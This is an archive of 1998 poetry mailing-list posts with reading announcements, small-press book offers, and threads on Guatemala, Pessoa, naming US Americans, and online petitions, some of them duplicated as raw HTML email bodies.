>> five hundredth anniversary of the introduction of the road to salvation.
>> Talk about a conquest.
>
>
>
> In '92, the year she was awarded for the Nobel Peace Prize, I heard Rigoberta
>Menchu Tum read a poem.
>
>She noted it was a liturgical offering to the anonymous Guatemalan dead, los
>indigenas guatemaltecos. It was said under her breath, on the air, narrowcast,
>streaming audio, buffering, as it were.
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>Since '96 when the "peace accords" with the Unidad Revolucionaria Nacional
>Guatemalteca were signed those not too dead and not buried too deeply in mass
>graves started to return, mostly out of southern mexico.
>
>Talk about a conquest. (cf. also _Our Own Backyard: the US in Central America,
>1977-1992_, William LeoGrande, UNC, 1998)
>
>mc
>
>

↑ Index

192. Robert Majzels
Fall Readings in Montreal
Tue 8 Sep 1998

Hi, No fixed adDress, a group of Montreal writers dedicated to exploring new writing practices is holding a series of readings this Fall, so if you're coming up (or down) this way, don't miss 'em.

Wednesday, September 23:
Lisa Robertson, Vancouver-based poet, author of _Debbie: an Epic_ (New Star Books and Reality Street Editions). Her work has also been published in _Out of Everywhere_ and _Moving Borders_.
"someone drags an amazon like a dead
a kneeling amazon a fallen a
mazon an amazon facing
backwards an amazon armed with a word
pulling an amazon treading down an
amazon an amazon with a mounted
amazon from behind by an ama
zon over a fallen amazon an
amazon overcoming striking down"

Introduced by Gail Scott, author of _Main Brides_, a novel (Coach House Press).

Thursday, October 15: France Daigle, Acadian novelist, author of several novels, most recently _1953: chronique d'une naissance annoncée_ and _Pas Pire_ (Editions de l'Acadie). with Robert Majzels, author of _City of Forgetting_, a novel (Mercury Press) and translator of France Daigle's _1953: Chronicle of a Birth Foretold_ (House of Anansi).

"For novelists do not live; they grind. They take life apart, revelling in the sight of its countless components, and then spend sleepless nights trying to figure out how to breathe life back into this inert matter. And even if they succeed in putting it all back together, they continue to fret over whether the machine will be of any use." from _1953_

and Fredric Gary Comeau, Acadian poet and playwright, author of Ravages (Editions Perce-Neige).

"la cartographie de cet instinct
nous force a redefinir l'errance
l'image du nord l'hiver toujours present
le corps en attente d'une voix ou d'une lueur
le besoin d'habiter le langage comme lietmotiv
au seuil d'un autre lieu d'un territoire
que nous imaginons mobile"

Thursday, October 29:
Gerry Shikatani, Montreal-based sound poet, author of _Aqueduct_ (Mercury Press, Underwhich Editions, Wolsak & Wynn).

"(those gestures behind doors)Š I can remember then, the precision of that mealŠ Eggs, hot, yet still liquid and yellow in their sweet warm cream, the tureen to fingers was hot, I would taste and inhale the odours into me. And the

crisp, almost smoke salt skin of a duck confit in its soft giving sauce, a tableau of pureed carrots fanned with ridges, and those sweet white potatoes, still vegetable crisp, speaking of their presence in the earth."

Wednesday, November 18:
Nicole Markotic, Calgary-based poet and fiction writer, author of Minotaurs and Other Alphabets (Wolsak & Wynn).

"they didn't notice, but "L" and "R" can be versions of the same letter. can be, to her ear, the same sound. listen, there's a reason, dreams happen beneath eyelids. there's a pattern, trust me when I say I'm going to sew buttons on the underside of shirts, read them across ribs" from _lip service_

Introduced by Erin Mouré, poet, author of _Search Procedures_.

Our thanks to the Canada Council and Moveable Type Inc. for financial support for these readings.

All readings: 8 pm at Bistro 4, 4040 St-Laurent.

Robert Majzels
[redacted]

↑ Index

193. michael corbin
Re: crosses project for indigenous peoples
Tue 8 Sep 1998

I think Mr. Weiss meant this for this list. Because it is true. (It is hard to estimate in particular the early 80s of Guatemala and the tenure of Efrain Rios Montt and Ronald Reagan(think percentage of all the dead of all american wars combined)). But he is right, more, about the situation today. It is world we live in. Now. You and me and Mark McGwire.)

Mark Weiss wrote:

> *For those who aren't aware, Michael I think inadvertently could be read as saying that the numbers of the dead had been exaggerated, many of those claimed as dead having been in exile. Estimates of the dead run between 100,000 and 400,000, almost all Mayans from the highlands. 400 villages disappeared from the map, many others were combined into the sort of fortified resettlement villages that the US did so much to popularize during the Viet Nam war. Large numbers of people took to a life of scavenging in the forest (these folks had been farmers for millenia) for years at a time in order to remain invisible to the army and the police. In a country of enormous potential wealth and enduring grinding poverty over half the population was reduced to a new level of penury. With an unemployment rate of 80% a worker lucky enough to get a job in a maquiladora factory then and now will make $.14 an hour.*

> *Since the peace accords the situation has gotten worse, if anything: the death squads may no longer be government-sponsored, but they persist. Added to them are gangs of thugs recruited from the ranks of the disbanded troops of both sides. Murder and pillage have become more commonplace and less discriminating. And the poor, "the truly miserable" who make up the bulk of the population, as a Guatemalan friend put it, continue to starve.*
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> *As a token of our throw-away foreign policy, the US, which has a big share of responsibility for this situation, does nothing. The cold war being over, Guatemala is no longer a security concern of ours. Toss it out the window like a used beer can.*

↑ Index

194. **Mark Weiss**

Re: Slipping Through the Cracks (Orientation)

Tue 8 Sep 1998

In this regard check out Armand Schwerner's __The Tablets__.

At 04:54 PM 9/8/98 -0400, you wrote:
>On Tue, 8 Sep 1998, Daniel Zimmerman wrote:
>
>
>> Interesting post, Alan. Do you know R. A. Schwaller de Lubicz's _The
>> Temple in Man_? It mentions a 'transparency' inscription on opposite
>> sides of the same stone in the wall between two rooms at Luxor:
>>
>> "The wall's characteristic of _transparency_, placing the hieroglyph for
>> cloths of room 12 in the symbol for 'box of cloths' represented in room
>> 5, would suffice to establish a relationship between the symbols for
>> cloths and the olfactory bulb. To this is added the characteristic of
>> what weaving represents as a symbol--that is to say, the _interlacing of
>> threads_, just as the nerves are interlaced so as to make perceptible
>> the contacts of the individual with the environment. Thus, we frequently
>> find the symbol for cloths in these three secret sanctuaries.
>> Figure 42 shows clearly what I am suggesting here. The olfactory
>> bulb, with the olfactory tract splitting in two, constitutes an organ
>> whose image is identical to the symbol for cloths...." (103).
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>> The approach to the temples of Egypt as detailed mappings of human
>> anatomy recalls the Eassons' discussion of Blake's _Milton_ as modeled
>> on the physiology of the optical system.
>
>I'd have doubts about this, but I'd like to see the work. I'd also like to

>see what the cloth symbol apparently stems from re: say Gardiner.
>
>I'm always amazed, not at the similarities, but at the differences of
>origins - looking at cuneiform, hieroglyphics, kanji, and seeing almost no
>relationships at all. And the current meanings of the last seem very
>twisted compared to their apparent origins (from the accounts I've read -
>I know very little kanji by heart). I could see the development of a
>meta-syntactics of the sign, working through narratological issues as well
>- something that might be applied across the board to different symbolic
>systems.
>
>And thank you for the reference - I'll look for it.
>
>yours, Alan
>
>>
>> Dan Zimmerman
>>
>
>

↑ Index

195. **P.Standard Schaefer**

Jen Hoffer: query

Tue 8 Sep 1998

I'm hoping someone has an e-mail addres or contact info for Jen Hoffer who was fast on the move last I heard from her. If so, please backchannel.

↑ Index

196. **Susan Schultz**

Re: re davidson's catch

Tue 8 Sep 1998

Well, here's hoping that the one who catches the ball this evening (yes!) will be named Marianne Moore, the only poet I can think of who actually wrote an article on the St. Louis Cardinals (in 1968). Actually, I once published an article on Lou Brock, but I'm nowhere near St. Louis at this point, unfortunately. I did see him hit his 38th home run this season at Busch. And I hope Sammy Sosa hits one too. Maybe Lorca can catch it.

Susan Schultz

↑ Index

197. Hugh Steinberg
Re: Amurican poetry
Tue 8 Sep 1998

> *Jonathan Mayhew wrote:*

>Where is Canada, then--In Asia? I am used to thinking of "Las Americas"
>North and South. Too bad you can't make an adjective out of "United
>States."
>
Didn't Frank Lloyd Wright coin the term "Usonian?" Never really caught on, alas.

Hugh Steinberg

↑ Index

198. Lisa Trank
Re: FWD NEA Petition
Tue 8 Sep 1998

Mark -

Thanks for sending out the petition - I heard a great one regarding the NEA - someone said we should be grateful to Jesse Helms because if it wasn't for him, lots of people wouldn't have heard of Mapplethorpe. AAAAGH! Sign the petition!

Lisa Trank

↑ Index

199. George Bowering
Re: Davidson's catch
Tue 8 Sep 1998

> *Am I the only one who's noticed that the fellow who came up with Mark McGwire's 61st home run yesterday is named Michael Davidson?*
>
> *Ron Silliman*
> [redacted]

I thought the guy looked kind of familiar. I will be looking for a left field stands full of poets in today's game.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

200. **n p**
typewriter IC233 fluft
Tue 8 Sep 1998

Amen!

and a second:

> *When does Lee Ann Brown's*
> *Polyverse get to be free?*
>
> *A. Berrigan*
>
> *THE SUN & MOON PRESS CAMPAIGN TO FREE ITS POETRY*
>
> *Sun & Moon Press has long*

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

201. **Tosh**
Re: FWD NEA Petition
Tue 8 Sep 1998

I am hearing conflicting reports in regards to sending petitions over the net. I have heard that they are useless, because you actually need a signiture - and through this medium that is impossible (I think). Anyway does anyone know for sure.

Tosh Berman
TamTam Books

↑ Index

202. **Jim Andrews**

Essay: Digital Langu(im)age--language and image as objects in a field

Tue 8 Sep 1998

At Web del Sol's Perihelion site is my newly published essay "Digital Langu(im)age--language and image as objects in a field" (http://webdelsol.com/Perihelion/jimarticle.htm)

and "Political Dimensions of Langu(im)age" (http://www.webdelsol.com/bbs/arts/arts.cgi?read=37), which is really a part of the essay, but was too late for the editor's deadline.

Regards,
Jim Andrews

--
V I S P O ~ L A N G U (I M) A G E
http://www.speakeasy.org/~jandrews

↑ Index

203. **David Baratier**

Re: Pessoa

Tue 8 Sep 1998

Bob--

Was that supposed to offend those of us who are self deprecating, or just librarians?

Be well

David Baratier

Friends,

Do you think Pessoa died a virgin? I was just wondering.

Bob Holman

↑ Index

204. **George Bowering**

Re: Amurican poetry

Wed 9 Sep 1998

> *Jonathan Mayhew wrote:*
>
> *Where is Canada, then--In Asia? I am used to thinking of "Las Americas"*

> *North and South. Too bad you can't make an adjective out of "United States."*

I always use the term USAmerican.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

205. **nuyopoman**
Pessoa
Wed 9 Sep 1998

Friends,

Do you think Pessoa died a virgin? I was just wondering.

Bob Holman

↑ Index

206. **Natalia Pang**
Walkie-Talkie Walmart Narwhal
Wed 9 Sep 1998

Ted's Etat Unis

Teste D. Unitas

Tetanus Site

But I cannot make an adjective!

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

207. **Ron Silliman**
Petitions & Value
Wed 9 Sep 1998

This is a multi-part message in MIME format.

charset="iso-8859-1"

The value of a petition is always variable. When I worked as a lobbyist = for the prison movement in Sacramento in the 1970s, it was standard = operating procedure for lawmakers to routinely sort incoming mail = geographically -- in district mail, out of district mail -- the latter = almost always being pitched without even being read. The major variation = on that theme was a tripartite one: in district mail, out of district = mail, in the district of the office I want to run for next mail (state = senators in Calif. have noticeably larger districts than do members of = the "lower" house, as do members of congress).=20

Since petitions so often tend not to be sortable on those terms, they = were always looked at with some suspicion.

Several lawmakers also used a numerical system. A postcard, by virtue of = the effort demanded, was presumed to indicate that 3 persons in the = district (and that "in the district" was a constant) felt likewise moved = on a given issue. An actual letter was presumed to indicate that 9 = persons felt likewise. Items that had been "pre-written" (like those = pre-printed post cards that start, Dear Mr. Gingrich) were, by this = scale, a one. A few pols always knew exactly what the numbers on any = given bill were in these terms and while it didn't always sway votes -- = there were a few back then who actually had their own opinions -- it = sometimes would have an impact, especially in situations where it wasn't = a "hot button" item.=20

So, petitions tended to be a "one" per signature, but it was/is often = hard to tell what the district relation of a given signature was, which = tended to make it even less felt. But it was/is a register of feeling, = position, voter emotion, etc., and so is taken into consideration.

The problem of the net and petitions right now is two-fold. First, I = can't tell that you are really you when you sign a petition and I'm even = fuzzier as to where you live (in my district or otherwise). Second, lots = of pols, like business execs still, tend to be technology idiots. Think = of Janet Reno's comment that "I'm not personally acquainted with a PC at = the moment" in response to a question concerning the Microsoft = anti-trust case -- this from a woman who has a PC service contract that = requires 15 minute response time and a 30 minute fix, meaning that = whoever currently has the Justice Dept contract these days (I used to = work for a company that had it) has a paid employee basically waiting = full-time at DOJ headquarters with a system that has last night's backup = ready to be swapped for Reno's the minute it crashes -- and she doesn't = even use the machine!

What pols know about the net, all too often, is what they read in the = media, so they know that it got Hank the Angry Dwarf elected as People = Magazine's "Sexiest Man Alive" (or whatever that contest was), they know = about the Ourfirsttime.com scam, they know about the IPOs of Yahoo and = other internet

companies, and that there is a lot of porn out there. So = they're basically stupid and suspicious -- always a bad combination.

Having said that and with this background, I do tend to sign petitions = and circulate them. How impactful are they? Never as much as I would = like, but frankly better than nothing. The real question is what ELSE = can I, or you, or anyone do to help get the NEA funded or oil companies = to stop supporting African dictators or whatever. Getting a good person = elected or a bad one diselected has one hell of a lot more impact in = the long run.

Ron Silliman
(living in a district that is 75% GOP
with a congressman, Curt Weldon,
who is the #1 sponsor of ongoing=20
Star Wars research, even though
Lockheed no longer is the major employer
in the district)

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http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
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especially in situations where it wasn't a "hot button" item.=20
</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>So, petitions tended to be a "one" per =
signature,=20
but it was/is often hard to tell what the district relation of a given =
signature=20
was, which tended to make it even less felt. But it was/is a register of =

feeling, position, voter emotion, etc., and so is taken into=20
consideration.</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>The problem of the net and petitions right now is =
two-fold.=20
First, I can't tell that you are really you when you sign a petition and =
I'm=20
even fuzzier as to where you live (in my district or otherwise). Second, =
lots of=20

pols, like business execs still, tend to be technology idiots. Think of =
Janet=20
Reno's comment that "I'm not personally acquainted with a PC at the =
moment" in response to a question concerning the Microsoft =
anti-trust case=20
-- this from a woman who has a PC service contract that requires 15 =
minute=20
response time and a 30 minute fix, meaning that whoever currently has =
the=20
Justice Dept contract these days (I used to work for a company that had =
it) has=20
a paid employee basically waiting full-time at DOJ headquarters with a =
system=20
that has last night's backup ready to be swapped for Reno's the minute =
it=20
crashes -- and she doesn't even use the machine!</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>What pols know about the net, all too often, is what =
they read=20
in the media, so they know that it got Hank the Angry Dwarf elected as =
People=20
Magazine's "Sexiest Man Alive" (or whatever that contest was), =
they=20
know about the Ourfirsttime.com scam, they know about the IPOs of Yahoo =
and=20
other internet companies, and that there is a lot of porn out there. So =
they're=20
basically stupid and suspicious -- always a bad =
combination.</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>Having said that and with this background, I do tend
=
to sign=20
petitions and circulate them. How impactful are they? Never as much as I =
would=20
like, but frankly better than nothing. The real question is what ELSE =
can I, or=20
you, or anyone do to help get the NEA funded or oil companies to stop =
supporting=20
African dictators or whatever. Getting a good person elected or a bad =
one=20

dis-elected has one hell of a lot more impact in the long =
run.</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>Ron Silliman</FONT></DIV>
<DIV><FONT size=3D2>(living in a district that is 75% GOP</FONT></DIV>
<DIV><FONT size=3D2>with a congressman, Curt Weldon,</FONT></DIV>
<DIV><FONT size=3D2>who is the #1 sponsor of ongoing </FONT></DIV>
<DIV><FONT size=3D2>Star Wars research, even though</FONT></DIV>
<DIV><FONT size=3D2>Lockheed no longer is the major =
employer</FONT></DIV>
<DIV><FONT size=3D2>in the district)</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2></FONT> </DIV></BODY></HTML>

↑ Index

208. Daniel Zimmerman
Re: Walkie-Talkie Walmart Narwhal
Wed 9 Sep 1998

Natalia Pang wrote:
>
> Ted's Etat Unis
>
> Teste D. Unitas
>
> Tetanus Site
>
> But I cannot make an adjective!
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

For a Latin pagan

a tissue tent

astute inset

Dan Zimmerman

↑ Index

209. Peter Ganick
NEW CHAPBOOKS FROM POTES & POETS
Wed 9 Sep 1998

The first series of 8 chapbooks from Potes & Poets Press
is now available from Small Press Distribution.

They are:

Jim Leftwich, Improvisations / Transformations, 45pp., $7

Sarah Mangold, Blood Substitutes, 45pp., $7

Ryan Whyte, Studio As History, 39pp., $7

Carrie Etter, Subterfuge of the Unrequitable, 27pp., $6

Katy Lederer, Music, No Staves, 22pp., $6

Jake Berry, Drafts of the Sorcery, 37pp., $7

Barbara Cole, little wives, 35pp., $7

Jack Kimball, Quite Vacation, 27pp., $6

All 8 ($53 value) for $45.

Please order from Small Press Distribution
tel. [redacted]
or 1341 Seventh Avenue, Berkeley CA 94710

↑ Index

210. Ron Silliman
Fire damages Rita Dove's home
Wed 9 Sep 1998

This is a multi-part message in MIME format.

    charset="iso-8859-1"

Just off the AP wire...
Fire Damages Home of Poet Rita Dove
Filed at 5:18 a.m. EDT=20

By The Associated Press CHARLOTTESVILLE, Va. (AP) -- A lightning strike sent flames shooting = through the roof of Pulitzer Prize-winning poet Rita Dove's home, = causing about $250,000 in damage but sparing her original manuscripts.=20

``There is a lot of water damage, but overall we were quite lucky,'' Ms. = Dove said. ``I really thought ... it was going to burn to the ground.''=20

The fire started with a lightning strike that threw Ms. Dove's husband, = Fred Viebahn, across a study Monday night. Flames shot through the top = of the house, destroying the roof and attic.=20

The lightning strike also knocked out power to most of the other houses = on her street.=20

``I heard a loud, terrible explosion,'' said Ms. Dove, who teaches = English at the University of Virginia.=20

The fire collapsed part of a ceiling in the two-story wood house, = injuring three volunteer firefighters. One was being treated at the = University of Virginia Medical Center for burns, and the other two were = treated at the scene for scrapes and bruises.=20

Ms. Dove won the 1987 Pulitzer Prize in poetry for her book ``Thomas and = Beulah.'' She served as the nation's first black -- and youngest -- poet = laureate from 1993 to 1995.=20

charset="iso-8859-1"


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http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<H2><FONT face=3D"Arial Narrow" size=3D3>Just off the AP =
wire...</FONT></H2>
<H2>Fire Damages Home of Poet Rita Dove</H2><B><FONT size=3D2>
<P>Filed at 5:18 a.m. EDT</B> </P></FONT>
<H5>By The Associated Press</H5>
<H5></H5><FONT size=3D2>
<P>CHARLOTTESVILLE, Va. (AP) -- A lightning strike sent flames shooting =
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in damage but sparing her original manuscripts. </P>
<P>``There is a lot of water damage, but overall we were quite lucky,'' =
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<P>The fire started with a lightning strike that threw Ms. Dove's =
```

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<P>The lightning strike also knocked out power to most of the other =
houses on=20
her street. </P>
<P>``I heard a loud, terrible explosion,'' said Ms. Dove, who teaches =
English at=20
the University of Virginia. </P>
<P>The fire collapsed part of a ceiling in the two-story wood house, =
injuring=20
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scene=20
for scrapes and bruises. </P>
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and=20
Beulah.'' She served as the nation's first black -- and youngest -- poet =

laureate from 1993 to 1995. </P>
<P> </P>
<P> </P>
<P> </P></FONT></DIV></BODY></HTML>

↑ Index

211. Rachel Levitsky

Re: Charles B's poem : one response

Wed 9 Sep 1998

Dear David,

Well I am in New York, every moment I feel like that guy in the Stevie Wonder song "Living in the City" when he says "New York, just how I pictured it, sky-scrapers and everything." For me it is "New York, just like I remembered it, sexy women and beautiful industrial blight, everywhere." Because of course I am returning, same apartment same job same friends.

I thoroughly enjoyed the poem below and am tacking it to my newly put to-gether and delightlyfully functional office.

love,
Rachel

p.s. I am getting a chapbook published by G.Sullivan. In it is a poem in which I use an email from you in a twisted and misquoted fashion. I don't put your name on it. Would that offend you? Would you like to see it and tell me if you are offended?

david bromige wrote:
>
> After Bernstein
>
> There's a price
> we shall pay for
> remaining above
> ground. Just like
> we flew to Florida,
> it's gonna cost.
> "Desirable beachfront
> hotel or condo"--
> that's what your life
> must amount to, now.
>
> You wanna poke your
> head up outa the earth,
> like some prairie dog?
> Like some living dead?
> Some insistent zombie?
> Okay let's see plastic
> on that. Full occupancy
> ensures rates stay high.
> You could be buried in
> one of many mass graves.
> Sprinkled with lime.
> Out of the future action.
>
> But (somehow--some
> secretary's social gaffe)
> here you are. So, whaddya
> got to say for yourself,
> Mr/Ms Living Tissue, huh?
> You're eminently replaceable.
> So far. We're barely waiting.
> The mere factoid of you,
> The Creation, palls fast.

>
> Those appurtenances--all of
> them--we can replace, & will.
> That pilgrim soul stacks up
> in warehouses globally. Our
> inventory embarrasses. So
> give it what you got plus,
> 'cause we aren't in Kansas
> any more, no, nor New York.
>
> Hey! Your atoms persist--
> whyntya just check out?
> Space is at a premium,
> and evolution's draft picks
> were published yesterday.
> Godknows you're beautiful,
> lovely, talented, gifted,
> subjectively marvelous :
> but God quit the board
> in a snit. Hike it higher.

↑ Index

212. Rachel Levitsky
(no subject)
Wed 9 Sep 1998

Now, I will proceed to run naked through the streets of East New York. Afterwords I will jump into the Gowanus Canal.

↑ Index

213. ShaunAnne Tangney Humanities
fargo slam
Wed 9 Sep 1998

hello, all--

so many of you seem to live in places--hubs--like NY or seattle or SF; i yearn and drool as i read of all the happenings, readings, parties, etc. but, just in case there is anyone besides me, stuck out on these god-forsaken plains, here is a small flame, cursing the darkness--

best,
shaunanne

---------- Forwarded message ----------
Date: Tue, 8 Sep 1998 15:09:20 -0500
To: [redacted]
Subject: fyi

NDSU's VOLUNTEER NETWORK SPONSORS FARGO POETRY SLAM

Last night's 12th edition of the Fargo Poetry Slam-"Slam on the Plains" at First Avenue Cabaret drew approximately 70 people. 20 people read during the open mic and 10 people competed in the slam for $25 and short term fame.

The Feature, Alan Davis (MSU Instructor and Author) & Co. read the short story "World Poetry Slam" from his book, "Rumours from the Lost World."

Last night's top slam poet, Kevin Zepper took the cash and NDSU Student, Lia Tilly ran a very close 2nd by a point differential of .2 Both will be invited back in April to the Grand Slam Invitational which will determine the Top Slam poet in the region, and most importantly, help select the 4-poet team to represent the F-M area at the 10th National Poetry Slam in Chicago, August '99. July's top slam poet was Kristin Garaas, the and runner up was Alyson Carley.

Approximately $230.00 from the cover charge was raised and donated to the Literacy Coalition of the Valley to support adult literacy programs in the the area. 10 members from the audience signed up to volunteer for the program. IF YOU WOULD LIKE TO VOLUNTEER FOR THIS PROGRAM PLEASE CONTACT: Theresa McMullen at [redacted].

The slam was sponsored by NDSU's Volunteer Network, 1st Avenue Cabaret, Slam on the Plains and the Literacy Coalition of the Valley.

The Fargo Poetry Slam is held on the last Monday of each Month at the 1st Avenue Cabaret.

Should you like more information please contact me.....Robb

Robb Ryan Q. Thibault
Assistant Director for Campus Programs
North Dakota State University
Student Activites Office
360 E Memorial Union
Fabulous Foxy Fargo, ND 58105

Fax: [redacted]
Office: [redacted]
Home: [redacted]
Thibault @plains.nodak.edu

"Just trying to stay free in a repressed world."

"Civility is Sexy" (c.1997 Thibault)

↑ Index

214. Mark Prejsnar
Waddaya call amuricans?
Wed 9 Sep 1998

USAmericans

Unitedstatesians

gringos

gringoes (sing., gringao, with a tilda)

yanks

how about, "usans" ??

..Try it yorself; it's fun and easy! I use all these all the time myself in conversation; what rightwingers pretend to think are "awkward" locutions, are alotta time a fun way to play with language and make a political point at the same time. It's both rewarding and socially useful to piss off P.C.-bashers.

But then, i still refer to my small Sony unit as a walkperson, and a first-year undergrad as a freshperson...

↑ Index

215. Rachel Loden
Re: Pessoa
Wed 9 Sep 1998

I don't know--my Pessoa is somewhat damp, anxious and celibate. But perhaps we should ask: which heteronym?

As Bernardo Soares, assistant bookkeeper, he wrote:

We should be pure, not to be noble or strong, but to be ourselves . . .

We must abdicate from life in order not to abdicate from ourselves.

Woman is a good source of dreams--never touch her.

Learn to disconnect the ideas of voluptuousness and pleasure . . . Because nothing is what it is . . . For that reason you must not touch anything . . .

Rachel Loden

[redacted] wrote:
>
> Friends,

>
> Do you think Pessoa died a virgin? I was just wondering.
>
> Bob Holman

↑ Index

216. **henry gould**
Re: Pessoa
Wed 9 Sep 1998

---

wasn't Alberto Caiero (1st Pessoa alias-heteronym) BORN of a virgin?? Does this tell us anything?? Was Pessoa transferring his teen id status (aka his "united states") onto a Hellenistic "divine man" symbol?? Can Professor Eric Blarnes help us with this, please??

>I say, Henry, awfully gratified to be of some assistance - I was just
>gently perambulating my personal folio copy of the Caeiro mss. [which
>it was my good fortune to obtain at a discount in a small used
>libreriotechnosistencia [ie. used-bookstore] in Lizthbon in 1947] -
>and would like to index potential scholiasts & enthusiasts to
>ms. poem #112, lines 8-14, translated [quite roughly, friends] as
>follows:
> To be born of a virgin is only a miracle
  when the air is salted with a dream of sheep.
  And I will suffuse my peasant genesis with the oats
  of Federico, my favorite mule. Anything is possible.
>
>- now I think we are safe in assuming that Caeiro aka Pessoa is certainly
>dabbling or dibbling with the CONCEPTION of conception here, are we not?

Gosh, thanks Prof. Blarnes - I knew you would be able to pull out your facsimiles & give us a dusting! Incisive relevant comments, anyone??

- Henry Gould

↑ Index

217. **Rachel Levitsky**
Re: Sales books/4 Sun & Moon Press
Wed 9 Sep 1998

Dear Douglas,

I would like to order the following:

____Charles Bernstein. ROUGH TRADES (paper, list $10.95
____Fanny Howe. THE LIVES OF A SPIRIT (cloth, list price 10.95)
_____Will Alexander. ASIA & HAITI (paper, list price $12.95)
____ Rae Armantrout. MADE TO SEEM (list price, $9.95)
____ Rae Armantrout. NECROMANCE (paper, list price $8.95)
____Djuna Barnes. THE BOOK OF REPULSIVE WOMEN: 8 RHYTHMS AND 5 DRAWINGS (paper, list price $6.95)
____Norma Cole. MY BIRD BOOK [Littoral Books] (paper, list price $9.95)
____Nick Piombino. POEMS (paper, list price $8.95)
____John Taggart. LOOP (paper, list price $11.95)
____Hannah Weiner. SPOKE (paper, list price $6.95)

> *Order from Sun & Moon Press*
> *6026 Wilshire Boulevard*
> *Los Angeles, CA 90036*
> [redacted]
>
> *Remember, all books are just $4.00 plus $1.25 each shipping.*

Entonces:

10 X $5.25 = 52.50

I'll send the check, can I order now, over email

Rachel Levitsky
159 Eastern Parkway #6K
Brooklyn,NY 11238-6069

Thanks!
Rache

↑ Index

218. **litsam**
Re: Pessoa
Wed 9 Sep 1998

From this, I guess we can assume that Bill Clinton is not one of my fellow Portuguese dudes?

Sam Pereira

At 07:03 AM 9/9/98 -0700, Rachel Loden wrote:
>I don't know--my Pessoa is somewhat damp, anxious and celibate. But
>perhaps we should ask: which heteronym?

>
>As Bernardo Soares, assistant bookkeeper, he wrote:
>
>We should be pure, not to be noble or strong, but to be ourselves . . .
>
>We must abdicate from life in order not to abdicate from ourselves.
>
>Woman is a good source of dreams--never touch her.
>
>Learn to disconnect the ideas of voluptuousness and pleasure . . .
>Because nothing is what it is . . . For that reason you must not touch
>anything . . .
>
>Rachel Loden

↑ Index

219. cris cheek
'*Energies of Writing*'
Wed 9 Sep 1998

Sound & Language announce the launch of a 'writers' book, commissioned from:

TERTIA LONGMIRE and AARON WILLIAMSON

In this book, 'energies of writing' emerge through developing photography and writing - both as materials and activities - in relation to each other. Here, the textual is transformed, quarried and disfigured as it re/appears physically in the image, and vice versa.

The book was realised collaboratively, beyond any definitive role taken by either of the artist-writers. Similarly, the interplay between written texts and visual images is non-illustrative, being materially accumulated through repetition and symbiosis.

Taken together, both elements convey a mercurial ineffability in which logos and imago converge. The collaborative 'I', postcriptually written-in, becomes a supplementary, elusively figured 'hook' for this convergence. In this way, writing generates an energy which not only signifies but is itself the subject of signification.

- Tertia Longmire is a writer and visual artist. She has made many installation pieces, exploring ideas about revelation, concealment and spatial boundaries, often using found objects and texts. Her books include 'ReFuse' (Text and

Image, 1996); and 'The Table Leaks its Object' (Magpie Press, 1997). She is lecturer in sculpture at Brighton University.

- Performance artist and writer Aaron Williamson's work is informed by his experience of becoming profoundly deaf. He has toured extensively in Europe and North America and recently completed a Doctoral thesis entitled 'Physiques of Inscription' at the University of Sussex. His publications include 'Cathedral Lung' (1991); and 'A Holythroat Symposium' (Creation, 1993).

A reading - performance will take place at:

ONE IN THE OTHER
1 Tenter Ground (off White's Row)
London E1 (Liverpool Street BR / Tube)

on Wednesday September 30th
8.00pm

This is a free event, copies of the book will be on sale
the event supported by Performance Writing / Eastern Arts Board and
Sound & Language.

The book is available for sale, from October 1st onwards at £5 (plus p&p) from
- 85 London Road South. Lowestoft. Suffolk NR33 OAS (cheques etc made payable to Sound & Language)

see you there

love and love
cris

↑ Index

220. Burt Kimmelman
Poetry New York #10
Wed 9 Sep 1998

The new issue of Poetry New York is just from the printer and will be on sale in stores etc. soon and is now available if you wish to contact us at [redacted] (and hey check out our website: http://members.tripod.com/~PNY_journal/).

Contributors in the new issue include (some names will be familiar to
this List):
John Noto
Ron Drummond
Jordan Davis
Emmy Hunter

Sherry Kearns
Afaa Michael Weaver
Peter Waterhouse
Rosmarie Waldrop
Barbara Henning
Takamura Kotaro
John Peters
Sharon Dolin
David Baratier
Hunter Bivens
Tom McFadden
Chu Tun-ju
Julie Landau
Felix Philip Ingold
Ingrid Fichtner
Michael Stephens
Nicolae Dabija
John Flynn
Alan Chin (photographs)
Gwyn McVay
Dan Featherston
Andrew Steinmetz
Jean-Joseph Rabearivelo
Cynthia King
Frank Lennon
Zhang Er
Leonard Schwartz
Carolyn Stoloff
Bruce Andrews
Avery E.D. Burns
Carlo Sylvester
Joseph Donahue
Andrey Gritsman
Alex Cigale.

Tod Thilleman, Editor
Burt Kimmelman, Sr. Editor

↑ Index

221. MAYHEW
Re: Pessoa
Wed 9 Sep 1998

I don't now Pessoa as well as I should. There is a strange Spanish poet who does translations, some of which have no originals behind them. Here is my rough version of Leopoldo Maria Panero's "Imitation of Pessoa"--does anyone recognize the poem its an imitation of? If it comes from a real Pessoa poem it might shed light on the whole virginity question:

Love, do not be: flee from being and let being flee from you
like a dead man, and tell it, don't touch me
like a dead man, let life not plant in me
its animal claw, for
life is a sin, love, do not be
life smells bad, love
do not be for living is a
perpetual flight from that birth that strangers
conspired against your happiness one day, from that
birth that those unknown people
wanted for you and noone could match you
because you are still a virgin, a virgin
like a saint, from life itself:

my love, be like me, do not be.

There are also some Trakl translations that I am trying to track down. I'll post them soon.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

222. Billy Little
roger maris hits 61st
